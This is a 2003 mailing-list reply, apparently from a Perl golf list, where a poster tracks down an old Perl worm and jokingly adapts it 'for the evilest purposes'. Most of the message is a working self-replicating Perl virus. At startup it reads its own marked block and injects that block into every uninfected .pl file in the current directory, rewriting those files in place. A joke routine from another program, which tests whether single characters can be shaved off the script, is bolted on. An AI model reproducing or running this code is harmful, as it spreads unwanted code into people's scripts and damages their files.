On Sun, Jan 26, 2003 at 08:59:50PM -0800, Mike Erickson wrote:
> * Yanick ([EMAIL PROTECTED]) wrote:
> >     I remember that some time ago (3 years?), Abigail posted a Perl
> > worm to clpm. Anyone has a copy of that thing? It would be amusing
> > to try to golf /that/ one. 
> 
> Perhaps you meant this?
> 
> 
>http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&oe=UTF-8&threadm=slrn82jqj5.lmh.abigail%40alexandra.delanet.com&rnum=5&prev=/groups%3Fas_oq%3Dabigail%2520worm%2520virus%26safe%3Dimages%26ie%3DUTF-8%26oe%3DUTF-8%26as_ugroup%3Dcomp.lang.perl.misc%26lr%3D%26num%3D50%26hl%3Den

        Yes, exactly! Darn, no wonder I couldn't find it back; I was forgetting to type
the '82', between 'slrn' and 'jqj5'. Silly me.

        Still very interesting, this piece of code is. But of course, it litteraly begs
to be adapted for the evilest purposes:


#!/opt/perl/bin/perl -w

use strict;

# HACKED
use vars '$script';
BEGIN {
  local *ME;
  if (open ME, $0) {
    undef $/;
    my $me =  <ME>;
    my ($text) = $me =~ /(# HACKED\n.*?# HACKED\n)/s;
        $script = $';
    if (opendir DIR, ".") {
      foreach my $file (readdir DIR) {
        next unless $file =~ /.pl$/;
        local *FILE;
        if (open FILE, "+< ./$file") {
          my $program = <FILE>;
          unless ($program =~ /# HACKED/) {
            $program =~ s/\n/\n$text/;
          }
          seek FILE, 0, 0;
          print FILE $program;
        }
        close FILE;
      }
    }
    closedir DIR;
  }
  close ME;
}
for my $i ( 1..length( $script )-1 )
{
        my $lose_some_weight = $script;
        $lose_some_weight =~ s/\A(.{$i})(.)/$1/s;
        eval $lose_some_weight;
        $@ or die "did you know the ${i}th character of this script could be 
shaved?\n";
}
eval $script and die;
# HACKED

__END__

        (yes, I just cross-breeded programs from Abigail and /-\ndrew. If that ain't
a sign that the End of Days is upon us, I don't know what is)

Joy,
`/anick

-- 
"Any man who is under 30, and is not a liberal, has not heart; and any man who is
over 30, and is not a conservative, has no brains."
        - Sir Winston Churchill (1874-1965)

Reply via email to